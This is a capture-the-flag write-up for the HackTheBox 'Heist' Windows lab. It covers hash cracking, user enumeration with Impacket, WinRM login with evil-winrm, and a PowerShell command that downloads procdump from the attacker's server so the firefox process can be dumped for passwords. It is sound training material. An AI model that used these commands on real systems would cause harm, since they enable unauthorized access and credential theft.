HackTheBox Heist

Heist is an easy Windows box on HackTheBox, however since I have very little experience with Windows, I found it rather difficult.

User

The usual nmap scan reveals the following ports are open:

Port 80 presents a login page and a forgotten password link (/issues.php), which actually goes to a forum post with an attached file containing 3 hashed passwords. These can be cracked with hashcat or for the Type 7 hashes, with this page: http://ibeast.com/tools/CiscoPassword/index.asp

Two usernames can also be found in the above config file, and a third can be found on the forum page (Hazard). Using lookupsid.py from Impacket and trying all combinations of logins gets us a few more usernames on the box.

lookupsid.py hazard:stealth1agent@10.10.10.149

Next, use auxiliary/scanner/winrm/winrm_login from Metasploit to check those usernames/passwords – or check them manually if you are not lazy like me ;-)

We now have another set of valid credentials which we can use to login via Windows Remote Management on port 5985. For this I used evil-winrm which gives a Powershell on the machine.

  ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

And with that we have the user.txt.

Root

For root, we check Get-Process to see that firefox is running, something not very usual on a server, even less a HackTheBox machine.
The way to get root on this box is by making a dump of the firefox process and looking through it for any kind of login information or passwords.

First we get procdump64.exe from Windows Sysinternals and serve it on our attacker machine, and then download it on the box:

(New-Object Net.WebClient).DownloadFile("http://10.10.15.211:8000/procdump64.exe", "C:\Users\chase\Documents\procdump64.exe")

And run it on the firefox process by finding firefox’s PID:

 .\procdump64.exe -accepteula -ma PID

(-accepteula is only necessary the first time you run it).

This will create a rather large dump file (400MB+) that can be a pain to sift through. There are a few ways to do that, I’ll detail two of them here. First is to download the file to our attacker box and use strings on it (evil-winrm has a built-in download function) and grepping for ‘password’.

The second and faster way is to download strings64.exe from Windows Sysinternals and running it on the box with:

./strings64.exe -accepteula firefox.exe.dmp | % { if($_ -match "password") {echo $_} }

| % { if($_ -match “password”) {echo $_} } is the Windows Powershell way of running grep. Linux is so much easier…
It is also possible to use this command to grep: sls password ./firefox.exe.dmp -ca, but I found the screen to scroll by too fast to actually find the password, and the frame buffer too small so I couldn’t scroll that far back.

Finally with our new password we can login as administrator with evil-winrm and get root.txt.

All in all it’s a rather easy and quick machine if you know what you’re doing. I didn’t, and needed hints on the HTB forum several times. But I did learn a lot about Windows enumeration and exploitation, which should make future Windows machines just a little easier.

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